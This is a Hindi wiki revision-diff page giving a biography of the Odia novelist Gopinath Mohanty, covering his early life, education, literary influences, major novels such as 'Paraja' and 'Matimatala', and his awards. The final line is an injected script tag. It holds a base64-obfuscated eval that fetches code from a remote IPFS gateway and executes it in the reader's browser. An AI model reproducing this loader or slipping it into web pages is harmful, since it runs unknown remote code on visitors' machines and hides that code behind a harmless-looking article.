"गोपीनाथ मोहंती": अवतरणों में अंतर
No edit summary |
No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा साहित्यकार | |||
|चित्र=Blankimage.png | |||
|चित्र का नाम=गोपीनाथ मोहंती | |||
|पूरा नाम=गोपीनाथ मोहंती | |||
|अन्य नाम= | |||
|जन्म=[[20 अप्रैल]], [[1914]] | |||
|जन्म भूमि=नागबलि, [[उड़ीसा]] | |||
|मृत्यु=[[20 अगस्त]], [[1991]] | |||
|मृत्यु स्थान= | |||
|अविभावक=सूर्यनाथ मोहंती | |||
|पालक माता-पिता= | |||
|पति/पत्नी= | |||
|संतान= | |||
|कर्म भूमि=[[भारत]] | |||
|कर्म-क्षेत्र= | |||
|मुख्य रचनाएँ='मन गहिरर चाष', 'परजा', 'माटीमटाल', 'नव वधू', 'मुक्तिपथे', 'अमृतर संतान', 'सपन माटि' आदि। | |||
|विषय= | |||
|भाषा=[[उड़िया भाषा|उड़िया]] | |||
|विद्यालय= | |||
|शिक्षा=[[अंग्रेज़ी]] में एम.ए. | |||
|पुरस्कार-उपाधि='[[ज्ञानपीठ पुरस्कार]]' ([[1973]]), '[[पद्म भूषण]]' ([[1981]]) | |||
|प्रसिद्धि=साहित्यकार तथा [[उपन्यासकार]] | |||
|विशेष योगदान= | |||
|नागरिकता=भारतीय | |||
|संबंधित लेख=[[उड़िया साहित्य]], [[उड़िया भाषा]] | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=गोपीनाथ मोहंती ने [[1936]] में एकाग्र भाव से लिखना प्रारंभ किया था और दो [[वर्ष]] उनके प्रथम [[उपन्यास]] 'मन गहिरर चाष' को पूरा करने में लगे थे। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''गोपीनाथ मोहंती''' ([[अंग्रेज़ी]]: ''Gopinath Mohanty'' ; जन्म- [[20 अप्रैल]], [[1914]], नागबलि, [[उड़ीसा]]; मृत्यु- [[20 अगस्त]], [[1991]]) [[उड़िया भाषा]] के प्रसिद्ध साहित्यकार थे। वर्ष [[1930]] से [[1938]] के बीच का समय इनके लेखक जीवन का निर्माण काल माना जाता है। गोपीनाथ मोहंती को [[1973]] में उनके योगदान के लिए '[[ज्ञानपीठ पुरस्कार]]' से सम्मानित किया गया था। बाद में [[1981]] में [[भारत सरकार]] द्वारा इन्हें [[साहित्य]] एवं शिक्षा के क्षेत्र में '[[पद्म भूषण]]' से पुरस्कृत किया गया। | '''गोपीनाथ मोहंती''' ([[अंग्रेज़ी]]: ''Gopinath Mohanty'' ; जन्म- [[20 अप्रैल]], [[1914]], नागबलि, [[उड़ीसा]]; मृत्यु- [[20 अगस्त]], [[1991]]) [[उड़िया भाषा]] के प्रसिद्ध साहित्यकार थे। वर्ष [[1930]] से [[1938]] के बीच का समय इनके लेखक जीवन का निर्माण काल माना जाता है। गोपीनाथ मोहंती को [[1973]] में उनके योगदान के लिए '[[ज्ञानपीठ पुरस्कार]]' से सम्मानित किया गया था। बाद में [[1981]] में [[भारत सरकार]] द्वारा इन्हें [[साहित्य]] एवं शिक्षा के क्षेत्र में '[[पद्म भूषण]]' से पुरस्कृत किया गया। | ||
==जन्म== | ==जन्म== | ||
गोपीनाथ मोहंती का जन्म 20 अप्रैल, सन 1914 को [[उड़ीसा]] के एक छोटे-से [[ग्राम]] नागबलि में हुआ था, जो [[महानदी]] के किनारे अवस्थित है। इनके [[पिता]] सूर्यनाथ मोहंती एक विलक्षण व्यक्ति थे। गोपीनाथ मोहंती को अपने पिता का साथ अधिक समय तक नहीं मिला। जब गोपीनाथ मात्र 12 वर्ष की अवस्था के ही थे, तभी पिता उन्हें अनाथ छोड़कर चल बसे। लेकिन वे बालक गोपीनाथ की प्रकृति और जीवन के प्रति उसकी दृष्टि को उतने समय में ही दिशा रूप दे गए। | गोपीनाथ मोहंती का जन्म 20 अप्रैल, सन 1914 को [[उड़ीसा]] के एक छोटे-से [[ग्राम]] नागबलि में हुआ था, जो [[महानदी]] के किनारे अवस्थित है। इनके [[पिता]] सूर्यनाथ मोहंती एक विलक्षण व्यक्ति थे। गोपीनाथ मोहंती को अपने पिता का साथ अधिक समय तक नहीं मिला। जब गोपीनाथ मात्र 12 वर्ष की अवस्था के ही थे, तभी पिता उन्हें अनाथ छोड़कर चल बसे। लेकिन वे बालक गोपीनाथ की प्रकृति और जीवन के प्रति उसकी दृष्टि को उतने समय में ही दिशा रूप दे गए। | ||
====शिक्षा==== | ====शिक्षा==== | ||
जब तक [[पिता]] जीवित रहे, गोपीनाथ मोहंती की स्कूल की पढ़ाई सोनपुर में चली। पिता की मृत्यु के बाद वह भाई के पास [[पटना]] चले गए। यहीं से [[1930]] में उन्होंने मैट्रिक की परीक्षा उत्तीर्ण की। फिर वे [[कटक]] गए और ' | जब तक [[पिता]] जीवित रहे, गोपीनाथ मोहंती की स्कूल की पढ़ाई सोनपुर में चली। पिता की मृत्यु के बाद वह भाई के पास [[पटना]] चले गए। यहीं से [[1930]] में उन्होंने मैट्रिक की परीक्षा उत्तीर्ण की। फिर वे [[कटक]] गए और 'रैवेंन्शॉ कॉलेज' से [[1936]] में [[अंग्रेज़ी]] में एम.ए. की डिग्री प्राप्त की। | ||
==भाषा भंडार में वृद्धि== | ==भाषा भंडार में वृद्धि== | ||
गोपीनाथ मोहंती ने [[1923]] में उस समय गांव छोड़ दिया था, जब पिता नौकरी के लिए सोनपुर गए थे। उसके बाद वह थोड़े-थोड़े दिनों के लिए कभी-कभार ही गांव आए, किंतु नागबलि और आसपास के ग्रामीण परिवेश में बिताया हुआ छुटपन का काल उनकी चेतना पर सदा के लिए अंकित हो गया था, जो उनके [[उपन्यास|उपन्यासों]] के लिए एक अद्भुत ढांचा प्रस्तुत करता रहा। इसी काल की एक अन्य बड़ी देन यह हुई कि ग्रामीण और कुलीन, दोनों समाजों में उठने-बैठने के फलस्वरूप उनकी [[भाषा]] का विपुल भंडार ही नहीं बढ़ा, बल्कि उसमें बोलचाल की रंगत और मुहावरेदारी की छटा भी आ गई। | गोपीनाथ मोहंती ने [[1923]] में उस समय गांव छोड़ दिया था, जब पिता नौकरी के लिए सोनपुर गए थे। उसके बाद वह थोड़े-थोड़े दिनों के लिए कभी-कभार ही गांव आए, किंतु नागबलि और आसपास के ग्रामीण परिवेश में बिताया हुआ छुटपन का काल उनकी चेतना पर सदा के लिए अंकित हो गया था, जो उनके [[उपन्यास|उपन्यासों]] के लिए एक अद्भुत ढांचा प्रस्तुत करता रहा। इसी काल की एक अन्य बड़ी देन यह हुई कि ग्रामीण और कुलीन, दोनों समाजों में उठने-बैठने के फलस्वरूप उनकी [[भाषा]] का विपुल भंडार ही नहीं बढ़ा, बल्कि उसमें बोलचाल की रंगत और मुहावरेदारी की छटा भी आ गई। | ||
पंक्ति 28: | पंक्ति 62: | ||
तीन लाख बीस हज़ार शब्दों का यह [[उपन्यास]] [[उड़िया भाषा]] का सम्भवत: सबसे लंबा उपन्यास है, जिसे पूरा करने में लेखक को लगभग दस [[वर्ष]] का समय लग गया। उड़िया ग्राम-जीवन का इसे एक [[महाकाव्य]] माना जाता है। इतना विस्तृत और [[भाषा]]-सौंदर्ययुक्त कोई उपन्यास उड़िया में पहले नहीं लिखा गया। विचित्र बात यह है कि कथानक के नाम पर केवल एक बाह्या रेखाकृति दी गई है और जो दो प्रमुखतम चरित्र हैं, नायक और नायिका, उन्हें अद्भुत रूप से अल्पभाषी बनाकर प्रस्तुत किया गया है। | तीन लाख बीस हज़ार शब्दों का यह [[उपन्यास]] [[उड़िया भाषा]] का सम्भवत: सबसे लंबा उपन्यास है, जिसे पूरा करने में लेखक को लगभग दस [[वर्ष]] का समय लग गया। उड़िया ग्राम-जीवन का इसे एक [[महाकाव्य]] माना जाता है। इतना विस्तृत और [[भाषा]]-सौंदर्ययुक्त कोई उपन्यास उड़िया में पहले नहीं लिखा गया। विचित्र बात यह है कि कथानक के नाम पर केवल एक बाह्या रेखाकृति दी गई है और जो दो प्रमुखतम चरित्र हैं, नायक और नायिका, उन्हें अद्भुत रूप से अल्पभाषी बनाकर प्रस्तुत किया गया है। | ||
====पुरस्कार==== | ====पुरस्कार==== | ||
गोपीनाथ मोहंती के [[उपन्यास]] 'माटीमटाल' के लिए उनको [[1973]] का '[[ज्ञानपीठ पुरस्कार]]' प्रदान किया गया था। | गोपीनाथ मोहंती के [[उपन्यास]] 'माटीमटाल' के लिए उनको [[1973]] का '[[ज्ञानपीठ पुरस्कार]]' तथा '[[पद्म भूषण]]' वर्ष [[1981]] में प्रदान किया गया था। | ||
====निधन==== | ====निधन==== | ||
उड़िया साहित्य में विशेष योगदान करने वाले गोपीनाथ मोहंती का निधन [[20 अगस्त]], [[1991]] में हुआ। | उड़िया साहित्य में विशेष योगदान करने वाले गोपीनाथ मोहंती का निधन [[20 अगस्त]], [[1991]] में हुआ। | ||
पंक्ति 38: | पंक्ति 72: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{साहित्यकार}} | ||
[[Category:साहित्यकार]][[Category:लेखक]][[Category:जीवनी साहित्य]][[Category:चरित कोश]] | [[Category:साहित्यकार]][[Category:लेखक]][[Category:उपन्यासकार]][[Category:जीवनी साहित्य]][[Category:ज्ञानपीठ पुरस्कार]][[Category:पद्म भूषण]][[Category:चरित कोश]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
11:59, 5 अक्टूबर 2014 का अवतरण
गोपीनाथ मोहंती
| |
पूरा नाम | गोपीनाथ मोहंती |
जन्म | 20 अप्रैल, 1914 |
जन्म भूमि | नागबलि, उड़ीसा |
मृत्यु | 20 अगस्त, 1991 |
कर्म भूमि | भारत |
मुख्य रचनाएँ | 'मन गहिरर चाष', 'परजा', 'माटीमटाल', 'नव वधू', 'मुक्तिपथे', 'अमृतर संतान', 'सपन माटि' आदि। |
भाषा | उड़िया |
शिक्षा | अंग्रेज़ी में एम.ए. |
पुरस्कार-उपाधि | 'ज्ञानपीठ पुरस्कार' (1973), 'पद्म भूषण' (1981) |
प्रसिद्धि | साहित्यकार तथा उपन्यासकार |
नागरिकता | भारतीय |
संबंधित लेख | उड़िया साहित्य, उड़िया भाषा |
अन्य जानकारी | गोपीनाथ मोहंती ने 1936 में एकाग्र भाव से लिखना प्रारंभ किया था और दो वर्ष उनके प्रथम उपन्यास 'मन गहिरर चाष' को पूरा करने में लगे थे। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
गोपीनाथ मोहंती (अंग्रेज़ी: Gopinath Mohanty ; जन्म- 20 अप्रैल, 1914, नागबलि, उड़ीसा; मृत्यु- 20 अगस्त, 1991) उड़िया भाषा के प्रसिद्ध साहित्यकार थे। वर्ष 1930 से 1938 के बीच का समय इनके लेखक जीवन का निर्माण काल माना जाता है। गोपीनाथ मोहंती को 1973 में उनके योगदान के लिए 'ज्ञानपीठ पुरस्कार' से सम्मानित किया गया था। बाद में 1981 में भारत सरकार द्वारा इन्हें साहित्य एवं शिक्षा के क्षेत्र में 'पद्म भूषण' से पुरस्कृत किया गया।
जन्म
गोपीनाथ मोहंती का जन्म 20 अप्रैल, सन 1914 को उड़ीसा के एक छोटे-से ग्राम नागबलि में हुआ था, जो महानदी के किनारे अवस्थित है। इनके पिता सूर्यनाथ मोहंती एक विलक्षण व्यक्ति थे। गोपीनाथ मोहंती को अपने पिता का साथ अधिक समय तक नहीं मिला। जब गोपीनाथ मात्र 12 वर्ष की अवस्था के ही थे, तभी पिता उन्हें अनाथ छोड़कर चल बसे। लेकिन वे बालक गोपीनाथ की प्रकृति और जीवन के प्रति उसकी दृष्टि को उतने समय में ही दिशा रूप दे गए।
शिक्षा
जब तक पिता जीवित रहे, गोपीनाथ मोहंती की स्कूल की पढ़ाई सोनपुर में चली। पिता की मृत्यु के बाद वह भाई के पास पटना चले गए। यहीं से 1930 में उन्होंने मैट्रिक की परीक्षा उत्तीर्ण की। फिर वे कटक गए और 'रैवेंन्शॉ कॉलेज' से 1936 में अंग्रेज़ी में एम.ए. की डिग्री प्राप्त की।
भाषा भंडार में वृद्धि
गोपीनाथ मोहंती ने 1923 में उस समय गांव छोड़ दिया था, जब पिता नौकरी के लिए सोनपुर गए थे। उसके बाद वह थोड़े-थोड़े दिनों के लिए कभी-कभार ही गांव आए, किंतु नागबलि और आसपास के ग्रामीण परिवेश में बिताया हुआ छुटपन का काल उनकी चेतना पर सदा के लिए अंकित हो गया था, जो उनके उपन्यासों के लिए एक अद्भुत ढांचा प्रस्तुत करता रहा। इसी काल की एक अन्य बड़ी देन यह हुई कि ग्रामीण और कुलीन, दोनों समाजों में उठने-बैठने के फलस्वरूप उनकी भाषा का विपुल भंडार ही नहीं बढ़ा, बल्कि उसमें बोलचाल की रंगत और मुहावरेदारी की छटा भी आ गई।
लेखन
1930 से 1938 के बीच का समय गोपीनाथ मोहंती के लेखक जीवन का निर्माण काल माना जा सकता है। तीन प्रभावों की छाप उन पर पड़ रही थी। दो पश्चिम के और एक भारत का। मार्क्स व रूसी क्रांति और फ़्रॉयड पश्चिम के प्रभाव थे तथा महात्मा गाँधी व राष्ट्रीय आंदोलन भारत का प्रभाव था। गोपीनाथ गंभीर व व्यापक अध्ययन में लगे रहते थे। रोम्यां रोलां और मैक्सिम गोर्की उन्हें विशेष प्रिय व प्रभावित करते थे। वे उन दिनों साहित्यिक विधा-रूप में नए-नए प्रयोग किया करते और प्रचलित रूमानी अभिरुचियों का खुला विरोध करते थे। गोपीनाथ मोहंती ने 1936 में एकाग्र भाव से लिखना प्रारंभ किया और दो वर्ष उनके प्रथम उपन्यास 'मन गहिरर चाष' को पूरा करने में लगे।
कथा साहित्य
गोपीनाथ मोहंती के कथा साहित्य को तीन वर्गों में रखा जा सकता है-
- पहला वर्ग उन दिनों की रचनाओं का है, जब वह आदिवासियों के इलाक़े में नियुक्त थे। ये रचनाएं हैं- 'दादिबुढ़ा', 'परजा', 'अमृतर संतान', 'शिव भाई', 'अपहंच'।
- दूसरे वर्ग की रचनाओं का विषय नगरवासी जन-समाज है। ये रचनाएं हैं- 'हरिजन', 'शरत बाबुक गलि', 'राहुर छाया', 'सपना माटि', 'दाना-पानी', 'लय-विलय'।
- तीसरे वर्ग में वस्तुत: एक ही रचना आती है- 'माटीमटाल'।
प्रमुख कृतियाँ
उपन्यास - 'मन गहिरर चाष' (1940), 'परजा' (1945), 'अमृतर संतान' (1947), 'सपन माटि' (1954), 'माटीमटाल' (1964)।
कहानी संग्रह - 'घासर फूल' (1951), 'नव वधू' (1952), 'उड़ंता खइ' (1971)।
नाटक - 'मुक्तिपथे' (1937), 'महापुरुष' (1958)।
निबंध-संग्रह - 'कलाशक्ति' (1973)।
तीन श्रेष्ठ रचनाएँ
गोपीबाबू की तीन रचनाओं ने सबसे अधिक ख्याति अर्जित की है- 'परजा', 'अमृतर संतान' और 'माटीमटाल'।
- परजा
'परजा' में कोरापुट ज़िले की एक छोटी-सी निर्धन आदिवासी बस्ती का छवि-अंकन किया गया है। पूरे क़बीले का विवरण देने के लिए वहां के एक परिवार को माध्यम बनाया गया है, जिसे प्रतिकूल परिस्थितियों का भंवर जाल घूम-घूमकर तब तक घेरता रहता है, जब तक वह विनष्ट नहीं हो जाता।
- अमृतर संतान
'अमृतर संतान' का दृश्यचित्र अधिक विस्तृत है। इसका गठन भी जटिल है, पर यहां भी एक ही परिवार को कथा-केंद्र बनाया गया है और घटनास्थल भी एक ही ग्राम है, लेकिन आदिवासियों की जिस कोंढ जाति को यहां लिया गया है, वह चूंकि बहुत प्राचीन, जनसंख्या में भी बड़ी और अपनी एक नियत जीवन-प्रणाली वाली है, इसलिए कथा-सूत्र स्वभावत: चिंतन प्रधान हो गया है।
- माटिमटाल
तीन लाख बीस हज़ार शब्दों का यह उपन्यास उड़िया भाषा का सम्भवत: सबसे लंबा उपन्यास है, जिसे पूरा करने में लेखक को लगभग दस वर्ष का समय लग गया। उड़िया ग्राम-जीवन का इसे एक महाकाव्य माना जाता है। इतना विस्तृत और भाषा-सौंदर्ययुक्त कोई उपन्यास उड़िया में पहले नहीं लिखा गया। विचित्र बात यह है कि कथानक के नाम पर केवल एक बाह्या रेखाकृति दी गई है और जो दो प्रमुखतम चरित्र हैं, नायक और नायिका, उन्हें अद्भुत रूप से अल्पभाषी बनाकर प्रस्तुत किया गया है।
पुरस्कार
गोपीनाथ मोहंती के उपन्यास 'माटीमटाल' के लिए उनको 1973 का 'ज्ञानपीठ पुरस्कार' तथा 'पद्म भूषण' वर्ष 1981 में प्रदान किया गया था।
निधन
उड़िया साहित्य में विशेष योगदान करने वाले गोपीनाथ मोहंती का निधन 20 अगस्त, 1991 में हुआ।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>